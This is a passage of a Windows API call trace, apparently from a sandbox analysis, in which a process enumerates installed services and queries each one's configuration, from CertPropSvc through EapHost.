CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.133] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.134] GetLastError () returned 0x7a [0249.134] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x132, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd9b10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x1dd9b10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0249.136] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="CertPropSvc", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.137] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.137] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.138] GetLastError () returned 0x7a [0249.138] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x112, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd9b58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0249.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x1dd9b58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0249.138] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.139] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.139] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.140] GetLastError () returned 0x7a [0249.140] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x152, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x1dd9ba0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0249.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0249.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x1dd9b58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0249.140] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="clr_optimization_v2.0.50727_64", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.141] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.141] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.142] GetLastError () returned 0x7a [0249.142] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x156, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x1dd9ba0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0249.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0249.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x1dd9ba0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0249.142] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="clr_optimization_v4.0.30319_32", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.143] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.143] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.144] GetLastError () returned 0x7a [0249.144] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x152, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x1dd9be8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0249.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0249.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x1dd9be8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0249.145] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="clr_optimization_v4.0.30319_64", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.145] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.145] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.146] GetLastError () returned 0x7a [0249.146] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x156, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x1dd9c30, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0249.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x1dd9c30, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0249.146] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="COMSysApp", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.147] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.147] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.148] GetLastError () returned 0x7a [0249.148] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x182, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x1dd9c78, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dllhost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x1dd9c78, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0249.148] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="CryptSvc", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.149] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.149] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.150] GetLastError () returned 0x7a [0249.150] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x13e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd9cc0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0249.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x1dd9cc0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0249.150] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="CscService", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.151] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.151] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.152] GetLastError () returned 0x7a [0249.152] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x142, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd9d08, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0249.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x1dd9d08, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0249.152] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="DcomLaunch", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.153] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.153] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.154] GetLastError () returned 0x7a [0249.154] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x13c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd9d50, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x1dd9d50, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0249.154] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="defragsvc", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.155] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.155] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.156] GetLastError () returned 0x7a [0249.156] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x10a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd9d98, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x1dd9d98, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0249.156] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="Dhcp", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.157] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.157] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.157] GetLastError () returned 0x7a [0249.157] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd9de0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x1dd9de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0249.158] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="Dnscache", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.159] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.159] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.159] GetLastError () returned 0x7a [0249.159] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x130, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1dd9e28, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x1dd9e28, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0249.160] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="dot3svc", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.161] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.161] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.161] GetLastError () returned 0x7a [0249.161] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x58c9d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x58c9d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0249.162] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="DPS", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.163] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.163] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.163] GetLastError () returned 0x7a [0249.163] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x144, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x58c9d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x1e67ec8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0249.164] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="EapHost", dwDesiredAccess=0x1) returned 0x5d6e98 